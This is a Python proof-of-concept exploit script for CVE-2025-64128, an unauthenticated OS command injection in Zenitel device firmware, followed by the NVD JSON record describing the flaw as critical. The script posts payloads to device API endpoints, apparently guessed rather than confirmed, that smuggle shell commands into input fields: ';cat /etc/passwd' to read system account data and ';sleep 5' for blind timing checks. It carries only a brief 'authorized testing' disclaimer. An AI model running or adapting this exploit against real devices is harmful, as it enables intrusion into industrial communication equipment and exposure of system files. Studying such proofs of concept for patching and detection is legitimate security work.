CVE-2025-64128

#!/usr/bin/env python3 """ CVE-2025-64128 PoC - Zenitel Device OS Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_cve_2025_64128(target_url, target_ip): """ Exploit OS Command Injection in Zenitel Device Firmware Args: target_url: Base URL of the Zenitel device web interface target_ip: Target device IP address for command injection """ # Vulnerable endpoint - typical injection point in device firmware vulnerable_endpoint = f"{target_url}/api/system/network/config" # Malicious payload with OS command injection # Inject arbitrary command to exfiltrate device information payload = { "interface": "eth0", "ip_address": f"{target_ip};cat /etc/passwd", "subnet_mask": "255.255.255.0", "gateway": "192.168.1.1" } try: print(f"[*] Sending exploit payload to {vulnerable_endpoint}") print(f"[*] Target IP: {target_ip}") # Send malicious request without authentication response = requests.post( vulnerable_endpoint, json=payload, timeout=10, verify=False ) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Payload delivered successfully") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def verify_vulnerability(target_url): """ Verify if target is vulnerable by checking for command injection """ # Simple verification by injecting sleep command verify_endpoint = f"{target_url}/api/system/diagnostics" # Time-based blind injection verification verify_payload = { "command": "ping", "target": "127.0.0.1;sleep 5" } try: print("[*] Verifying vulnerability...") response = requests.post( verify_endpoint, json=verify_payload, timeout=15, verify=False ) if response.elapsed.total_seconds() > 4: print("[+] Target appears to be VULNERABLE") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.RequestException as e: print(f"[-] Verification error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64128_poc.py <target_url> <target_ip>") print("Example: python cve-2025-64128_poc.py https://192.168.1.100 192.168.1.100") sys.exit(1) target_url = sys.argv[1] target_ip = sys.argv[2] print("="*60) print("CVE-2025-64128 - Zenitel Device OS Command Injection PoC") print("="*60) # First verify if vulnerable if verify_vulnerability(target_url): # Then attempt exploitation exploit_cve_2025_64128(target_url, target_ip)

{"cve": {"id": "CVE-2025-64128", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:49.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An OS command injection vulnerability exists due to incomplete \nvalidation of user-supplied input. Validation fails to enforce \nsufficient formatting rules, which could permit attackers to append \narbitrary data. This could allow an unauthenticated attacker to inject \narbitrary commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-03.json", "source": "[email protected]"}, {"url": "https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-03", "source": "[email protected]"}]}}